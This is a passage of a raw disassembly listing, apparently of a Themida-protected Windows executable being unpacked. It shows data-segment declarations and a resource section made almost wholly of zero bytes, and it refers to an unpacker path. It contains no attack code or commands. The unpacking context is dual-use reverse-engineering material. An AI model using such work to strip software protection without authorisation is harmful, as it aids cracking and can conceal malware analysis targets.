; DATA XREF: sub_4010B5+4Fr ; sub_401A76+4Fr ... dword_43F710 dd 0 ; DATA XREF: sub_40981F+AFAw ; sub_40981F+B1Br dword_43F714 dd 0 ; DATA XREF: sub_40981F+31w ; sub_40981F+ADr ... dword_43F718 dd 0 ; DATA XREF: sub_4087EE+1ECr ; sub_4089E7+232r ... align 10h dword_43F720 dd 0 ; DATA XREF: sub_40981F+909w ; sub_40981F+91Dr ... dword_43F724 dd 0 ; DATA XREF: sub_40981F+99w ; sub_40981F+EAr ... dword_43F728 dd 0 ; DATA XREF: sub_40981F:loc_40991Dw ; sub_40981F+12Bw ... dword_43F72C dd 0 ; DATA XREF: sub_40981F+126w ; sub_40A4AC+1Cr dword_43F730 dd 0 ; DATA XREF: sub_40981F:loc_409A0Dw ; sub_40981F:loc_409A74w ... dword_43F734 dd 0 ; DATA XREF: sub_40981F+250w ; sub_40A4AC+50r dword_43F738 dd 0 ; DATA XREF: sub_40981F:loc_409B09w ; sub_40981F:loc_409B4Ew ... dword_43F73C dd 0 ; DATA XREF: sub_40981F+400w ; sub_40A4AC+84r dword_43F740 dd 0 ; DATA XREF: sub_40981F:loc_409D05w ; sub_40A4AC:loc_40A55Cr dword_43F744 dd 0 ; DATA XREF: sub_40981F+4E1w ; sub_40A4AC+B8r dword_43F748 dd 0 ; DATA XREF: sub_40981F:loc_409FD6w ; sub_40A4AC:loc_40A590r dword_43F74C dd 0 ; DATA XREF: sub_40981F+7B2w ; sub_40A4AC+ECr dword_43F750 dd 0 ; DATA XREF: sub_40981F:loc_40A0C1w ; sub_40981F+8D1w ... dword_43F754 dd 0 ; DATA XREF: sub_40981F+8CCw ; sub_40A4AC+120r dword_43F758 dd 0 ; DATA XREF: sub_40981F:loc_40A155w ; sub_40A4AC:loc_40A5F8r ... dword_43F75C dd 0 ; DATA XREF: sub_40981F+931w ; sub_40A4AC+154r dword_43F760 dd 0 ; DATA XREF: sub_40981F:loc_40A260w ; sub_40A4AC:loc_40A62Cr ... dword_43F764 dd 0 ; DATA XREF: sub_40981F+A3Cw ; sub_40A4AC+188r dword_43F768 dd 0 ; DATA XREF: sub_40981F:loc_40A2AAw ; sub_40A4AC:loc_40A660r dword_43F76C dd 0 ; DATA XREF: sub_40981F+A86w ; sub_40A4AC+1BCr dword_43F770 dd 0 ; DATA XREF: sub_40981F:loc_40A2F4w ; sub_40A4AC:loc_40A694r dword_43F774 dd 0 ; DATA XREF: sub_40981F+AD0w ; sub_40A4AC+1F0r dword_43F778 dd 0 ; DATA XREF: sub_40981F:loc_40A368w ; sub_40A4AC:loc_40A6C8r dword_43F77C dd 0 ; DATA XREF: sub_40981F+B44w ; sub_40A4AC+224r dword_43F780 dd 0 ; DATA XREF: sub_40981F:loc_40A3B2w ; sub_40A4AC:loc_40A6FCr dword_43F784 dd 0 ; DATA XREF: sub_40981F+B8Ew ; sub_40A4AC+258r dword_43F788 dd 0 ; DATA XREF: sub_40981F:loc_40A450w ; sub_40A4AC:loc_40A730r dword_43F78C dd 0 ; DATA XREF: sub_40981F+C2Cw ; sub_40A4AC+28Cr dword_43F790 dd 0 ; DATA XREF: sub_40981F:loc_40A49Aw ; sub_40A4AC:loc_40A764r dword_43F794 dd 0 ; DATA XREF: sub_40981F+C76w ; sub_40A4AC+2C0r dword_43F798 dd 81h dup(0) ; DATA XREF: sub_40AA35+6Ao dword_43F99C dd 5 dup(0) ; DATA XREF: sub_40AEE0+32o dword_43F9B0 dd 0 ; DATA XREF: sub_40B328:loc_40B349r ; sub_40B417+54r ... dword_43F9B4 dd 0 ; DATA XREF: sub_40B328r ; sub_40B417+37r ... dword_43F9B8 dd 0 ; DATA XREF: sub_40B358+1Ar ; sub_40B56C+83o dword_43F9BC dd 0 ; DATA XREF: sub_40B328:loc_40B33Cr ; sub_40B56C+11Bw dword_43F9C0 dd 0Dh dup(0) ; DATA XREF: sub_40B417+13o ; sub_40B56C:loc_40B6A9o dword_43F9F4 dd 0 ; DATA XREF: sub_40B417+CDr ; sub_40B417+ECr ... dd 0 dword_43F9FC dd 0Eh dup(0) ; DATA XREF: sub_40B721+47o dword_43FA34 dd 1000h dup(0) ; DATA XREF: sub_40BF6D+1Do ; sub_40C00Do ... dword_443A34 dd 0 ; DATA XREF: sub_40BF6D+13o ; sub_40C00D+Eo ... dword_443A38 dd 0Eh dup(0) ; DATA XREF: sub_40D01A+Fo dword_443A70 dd 2 dup(0) ; DATA XREF: sub_40D3A5+C8o dword_443A78 dd 17h dup(0) ; DATA XREF: sub_40D835:loc_40D952o ; sub_40D835+131o ... dword_443AD4 dd 80h dup(0) ; DATA XREF: sub_40E5EB+7Co ; sub_40E5EB+A5o dword_443CD4 dd 0 ; DATA XREF: sub_40DBB0+45w ; sub_40DBB0+4Dr ... dword_443CD8 dd 17h dup(0) ; DATA XREF: sub_40E4B7:loc_40E5D9o ; sub_40E4B7+12Do dword_443D34 dd 80h dup(0) ; DATA XREF: sub_40DAF0+4Co ; sub_40DAF0+7Eo ... byte_443F34 db 0 ; DATA XREF: sub_40DBB0+29r ; sub_40DBB0+34w align 4 dword_443F38 dd 80h dup(0) ; DATA XREF: sub_40DE07+61o ; sub_40DE07+89o ... dword_444138 dd 82h dup(0) ; DATA XREF: sub_40D719:loc_40D751o ; sub_40D719+5Bo dword_444340 dd 0 ; DATA XREF: sub_40BE75+Ao ; sub_40BE75+44r ... dd 5 dup(0) dword_444358 dd 0 ; DATA XREF: sub_40BE75+60r ; sub_40EE72+BD6r dd 2D9h dup(0) dword_444EC0 dd 0 ; DATA XREF: sub_407767+A8r ; sub_40BE75+2Do ... dword_444EC4 dd 7Fh dup(0) dword_4450C0 dd 0 ; DATA XREF: sub_416D5C+41w ; sub_416E97+40w ... dword_4450C4 dd 0 ; DATA XREF: sub_4060D0+23Bw ; sub_407767:loc_4077AEr ... dword_4450C8 dd 0 ; DATA XREF: sub_40B56C+164w ; sub_416810+AEw ... dword_4450CC dd 0 ; DATA XREF: sub_402688+E0w ; sub_405AF2+7Ew ... dword_4450D0 dd 0 ; DATA XREF: ___:00407E84w ; ___:00407FA0r ... dword_4450D4 dd 0 ; DATA XREF: sub_4060D0+268w ; sub_407252+122w ... byte_4450D8 db 0 ; DATA XREF: sub_40EB92+91o ; sub_40EE72+3359r ... align 4 dd 19Dh dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:off_42A2D0o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:0042CCA8o dword_450050 dd 0E700h dup(0) dword_489C50 dd 0 ; DATA XREF: sub_407110:loc_40717Er ; ___:0040E6E3w ... align 8 dword_489C58 dd 0 ; DATA XREF: ___:loc_40EAA4o dword_489C5C dd 20h dup(0) ; DATA XREF: ___:0040EA3Co ; ___:0040EAF5o ... dword_489CDC dd 10h dup(0) ; DATA XREF: ___:0040EA53o ; sub_40EE72+929o dword_489D1C dd 24h dup(0) ; DATA XREF: ___:0040EA6Ao dword_489DAC dd 0 ; DATA XREF: ___:0040EA5Ew ; ___:0040EB0Cw ... dword_489DB0 dd 0 ; DATA XREF: ___:0040EA7Dw align 10h dword_489DC0 dd 0 ; DATA XREF: sub_40EB92+72r ; sub_40EE72+273r align 8 byte_489DC8 db 0 ; DATA XREF: sub_40ECFA+28r ; sub_40ECFA+30o align 4 dword_489DCC dd 0 ; DATA XREF: ___:0040EAA9w ; ___:0040EAC0r ... dword_489DD0 dd 0 ; DATA XREF: ___:0040EA41w ; sub_40EE72+8CAr dd 2 dup(0) dword_489DDC dd 0 ; DATA XREF: ___:004155C6r dd 0 dword_489DE4 dd 1Bh dup(0) ; DATA XREF: sub_415D6A+8Do dword_489E50 dd 0 ; DATA XREF: sub_416FA4+16o ; sub_416FC3+19o dword_489E54 dd 65h dup(0) ; DATA XREF: sub_416F57+3Do byte_489FE8 db 0 ; DATA XREF: sub_416C55+6Ar ; sub_416C55+98w align 4 dd 2 dup(0) dword_489FF4 dd 0 ; DATA XREF: sub_417D73+Aw dword_489FF8 dd 0 ; DATA XREF: sub_4186B1+5Er ; sub_4186B1+A4w align 10h word_48A000 dw 0 ; DATA XREF: sub_4186B1+55r ; sub_4186B1+9Ao word_48A002 dw 0 ; DATA XREF: sub_4186B1+48r db 2 dup(0) word_48A006 dw 0 ; DATA XREF: sub_4186B1+3Br word_48A008 dw 0 ; DATA XREF: sub_4186B1+2Er word_48A00A dw 0 ; DATA XREF: sub_4186B1+21r align 10h dword_48A010 dd 0 ; DATA XREF: sub_418B6E+3Br ; sub_418B6E+91w dword_48A014 dd 0 ; DATA XREF: sub_418833+1B9w ; sub_418D0E:loc_418D8Aw ... dword_48A018 dd 0 ; DATA XREF: sub_4197F9+35w ; sub_41A6B7:loc_41A751w ... dword_48A01C dd 0 ; DATA XREF: sub_41FEC6+13Ar dd 0A28h, 501h, 5, 1 dword_48A030 dd 1 ; DATA XREF: ___:loc_40E98Cr ; ___:0041F2D1w dword_48A034 dd 23F0B30h ; DATA XREF: ___:0040E995r ; ___:0040E9B5r ... dd 0 dword_48A03C dd 23F0B58h ; DATA XREF: ___:0041F1CBw ; sub_421DAE+9r ... dword_48A040 dd 0 ; DATA XREF: sub_422492+36r dword_48A044 dd 0 ; DATA XREF: sub_421DAE+16r ; sub_42217C+4r ... dd 0 off_48A04C dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_48A054 db 0 ; DATA XREF: sub_419B07+2Dw ; sub_41FAE7+5r align 4 dword_48A058 dd 0 ; DATA XREF: sub_419B07+27w dword_48A05C dd 0 ; DATA XREF: sub_419B07+4r ; sub_419B07+8Bw dword_48A060 dd 0 ; DATA XREF: ___:loc_41F199r ; ___:loc_41F1DBr ... align 8 dword_48A068 dd 0 ; DATA XREF: sub_419CDAr sub_41F84Cr ... dword_48A06C dd 0 ; DATA XREF: sub_41A8A2+37r dd 0 dword_48A074 dd 0 ; DATA XREF: sub_417B89r ; sub_41944F:loc_41956Br ... dword_48A078 dd 0 ; DATA XREF: sub_41AB54r dword_48A07C dd 0 ; DATA XREF: sub_41BA22+4Bw ; sub_41BB3B+2Dw ... dword_48A080 dd 0 ; DATA XREF: sub_41C96D+11r ; sub_41CA71+1Ar ... byte_48A084 db 0 ; DATA XREF: sub_41C96D+3r ; sub_41C96D+98r ... align 4 dword_48A088 dd 0 ; DATA XREF: sub_41CA71+11r ; sub_41CB4F+21w ... byte_48A08C db 0 ; DATA XREF: sub_41CB4F+51w align 10h dword_48A090 dd 0 ; DATA XREF: sub_41CD45+4Er ; sub_41D120+3Ar ... dword_48A094 dd 0 ; DATA XREF: sub_41CD45+5Cr ; sub_41D120+43r ... dword_48A098 dd 0 ; DATA XREF: sub_417FFA+7Ar ; sub_41CEEC+5r dword_48A09C dd 0 ; DATA XREF: sub_41D4FC+29r dword_48A0A0 dd 2 dup(0) ; DATA XREF: sub_418790+Co dword_48A0A8 dd 0 ; DATA XREF: sub_419063+4r ; sub_419063+6Er ... dd 3 dup(0) dword_48A0B8 dd 0 ; DATA XREF: sub_4199B9+61r ; sub_4199B9+BFr ... align 10h dword_48A0C0 dd 1 ; DATA XREF: sub_41E709+28r ; sub_41E709+4Cw ... dword_48A0C4 dd 1 ; DATA XREF: sub_41E92D:loc_41EAA8r ; sub_41EAC6+4w ... dword_48A0C8 dd 0 ; DATA XREF: ___:0041EFE5r ; ___:0041EFF1w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o ; ___:off_48A04Co align 4 dd 3Ah dup(0) dword_48A1D0 dd 1 ; DATA XREF: ___:0041F48Fr ; ___:0041F4B0w ... dword_48A1D4 dd 0 ; DATA XREF: sub_41F84C+21r dword_48A1D8 dd 0 ; DATA XREF: sub_41A8A2:loc_41A8CBw ; sub_41A96C+154w ... dword_48A1DC dd 1 ; DATA XREF: sub_41FB63+26r ; sub_41FB63:loc_41FBCDw dword_48A1E0 dd 0 ; DATA XREF: sub_41A96C+7r align 8 word_48A1E8 dw 0 ; DATA XREF: sub_42074B+1Ao ; sub_42074B+46r byte_48A1EA db 0 ; DATA XREF: sub_42074B+39r align 4 dword_48A1EC dd 7 dup(0) ; DATA XREF: sub_42074B+52o dword_48A208 dd 0 ; DATA XREF: sub_42074B+40w ; sub_42074B+5Co dword_48A20C dd 0 ; DATA XREF: sub_42074B+4Dw dword_48A210 dd 0 ; DATA XREF: sub_42074B+31w dword_48A214 dd 0 ; DATA XREF: sub_42074B+52w dword_48A218 dd 77C26E79h ; DATA XREF: sub_42086E:loc_420891r ; sub_42086E+38r align 10h dword_48A220 dd 0 ; DATA XREF: sub_42094E+11w ; sub_42094E+63w ... align 8 dword_48A228 dd 0 ; DATA XREF: sub_42094E+33o ; sub_42094E+46r dword_48A22C dd 10h dup(0) ; DATA XREF: sub_42094E+C1o word_48A26C dw 0 ; DATA XREF: sub_420BAC+A8r word_48A26E dw 0 ; DATA XREF: sub_42094E+54r ; sub_420BAC+DBr ... word_48A270 dw 0 ; DATA XREF: sub_420BAC+CAr word_48A272 dw 0 ; DATA XREF: sub_420BAC+D3r ; sub_420BAC:loc_420C9Er word_48A274 dw 0 ; DATA XREF: sub_420BAC+C0r word_48A276 dw 0 ; DATA XREF: sub_420BAC+B8r word_48A278 dw 0 ; DATA XREF: sub_420BAC+B0r word_48A27A dw 0 ; DATA XREF: sub_420BAC+9Er dword_48A27C dd 0 ; DATA XREF: sub_42094E+4Br dword_48A280 dd 10h dup(0) ; DATA XREF: sub_42094E+FBo word_48A2C0 dw 0 ; DATA XREF: sub_420BAC+46r word_48A2C2 dw 0 ; DATA XREF: sub_42094E:loc_4209C5r ; sub_420BAC+78r ... word_48A2C4 dw 0 ; DATA XREF: sub_420BAC+67r word_48A2C6 dw 0 ; DATA XREF: sub_420BAC+70r ; sub_420BAC:loc_420C30r word_48A2C8 dw 0 ; DATA XREF: sub_420BAC+5Dr word_48A2CA dw 0 ; DATA XREF: sub_420BAC+55r word_48A2CC dw 0 ; DATA XREF: sub_420BAC+4Dr word_48A2CE dw 0 ; DATA XREF: sub_420BAC+3Er dword_48A2D0 dd 0 ; DATA XREF: sub_42094E+80r dword_48A2D4 dd 0 ; DATA XREF: sub_42094E+132r ; sub_42094E:loc_420A9Ar ... dword_48A2D8 dd 0 ; DATA XREF: sub_420939r sub_420939+Ew dword_48A2DC dd 0 ; DATA XREF: sub_42105F+3r ; sub_42105F+2Ew ... dword_48A2E0 dd 0 ; DATA XREF: sub_42105F+43w ; sub_42105F:loc_4210AEr dword_48A2E4 dd 0 ; DATA XREF: sub_42105F+4Aw ; sub_42105F+60r dword_48A2E8 dd 0 ; DATA XREF: sub_41FEC6+3Fr dword_48A2EC dd 0 ; DATA XREF: sub_421C3C:loc_421CA3r ; sub_421C3C+6Do dword_48A2F0 dd 0 ; DATA XREF: sub_421C3C:loc_421C7Ar ; sub_421C3C+44o dword_48A2F4 dd 0 ; DATA XREF: sub_421C3C:loc_421C6Dr ; sub_421C3C+37o dword_48A2F8 dd 0 ; DATA XREF: sub_421C3C:loc_421C87r ; sub_421C3C+51o align 10h dword_48A300 dd 0 ; DATA XREF: sub_4221EA+28r ; sub_4221EA+48w ... dword_48A304 dd 0 ; DATA XREF: sub_422C78+28r ; sub_422C78+4Cw ... dword_48A308 dd 0 ; DATA XREF: sub_422F03+26r ; sub_422F03:loc_422F6Dw byte_48A30C db 0 ; DATA XREF: sub_40482Cr sub_40482C+9w align 10h dword_48A310 dd 23F1140h ; DATA XREF: sub_41A835:loc_41A846r ; sub_41AADC+14r ... align 10h dword_48A320 dd 400h dup(0) ; DATA XREF: ___:off_43BCB8o ; ___:0043BCC0o dword_48B320 dd 200h ; DATA XREF: sub_41A835+9r ; sub_41A835+56r ... dd 7 dup(0) dword_48B340 dd 23F0650h ; DATA XREF: sub_419D23+B1r ; sub_41E248+75r ... dword_48B344 dd 3Fh dup(0) ; DATA XREF: ___:0041F651o dword_48B440 dd 20h ; DATA XREF: sub_41A6B7+8r ; sub_41E321+Cr ... dword_48B444 dd 4E4h ; DATA XREF: sub_41E92D+14r ; sub_41E92D+65w ... align 10h dword_48B450 dd 3 dup(0) ; DATA XREF: sub_41E92D+123o ; sub_41E92D+171o ... dword_48B45C dd 0 ; DATA XREF: sub_41E92D+108w ; sub_41E92D+15Dw ... byte_48B460 db 0 ; DATA XREF: sub_41EB6C:loc_41EC78w ; sub_41EB6C:loc_41EC95w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_48B560 db 0 ; DATA XREF: sub_41E92D+5Co ; sub_41E92D+AFo ... byte_48B561 db 0 ; DATA XREF: sub_4192B8+5Dr ; sub_41E92D+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_48B664 dd 0 ; DATA XREF: sub_41E92D+6Ew ; sub_41E92D+12Bw ... dword_48B668 dd 0 ; DATA XREF: sub_41B3E6+5r ; sub_41B3E6+32w dword_48B66C dd 0 ; DATA XREF: sub_41ADB4+23Ar ; sub_41ADB4+25Ar ... dword_48B670 dd 0 ; DATA XREF: sub_41ADB4+311w ; sub_41B0DD:loc_41B12Dr ... dword_48B674 dd 0 ; DATA XREF: sub_41ADB4+22Dr ; sub_41ADB4+260r ... dword_48B678 dd 0 ; DATA XREF: sub_41AD89r ; sub_41ADB4+2CBr ... dword_48B67C dd 0 ; DATA XREF: sub_41AD89+8r ; sub_41ADB4+2D0r ... dword_48B680 dd 0 ; DATA XREF: sub_417BC7+Fr ; sub_41944F+5Cr ... dword_48B684 dd 23F0000h ; DATA XREF: sub_417BC7+66r ; sub_417C3B+5Ar ... dword_48B688 dd 1 ; DATA XREF: sub_417BC7r sub_417C3B+Cr ... dword_48B68C dd 142340h ; DATA XREF: ___:0041F13Er ; ___:0041F269r dword_48B690 dd 1 ; DATA XREF: ___:0041F234w sub_421DAEr dword_48B694 dd 1 ; DATA XREF: sub_41ECF1r ; sub_41ECF1+11w ... dword_48B698 dd 23F0758h ; DATA XREF: sub_418603+13r ; sub_418603:loc_418645r ... dword_48B69C dd 23F0758h ; DATA XREF: sub_418603+1r ; sub_418603+Cr ... dd 258h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 0008D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0008D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 48D000h unk_48D000 db 0 ; DATA XREF: Themida_:004EECCCo db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 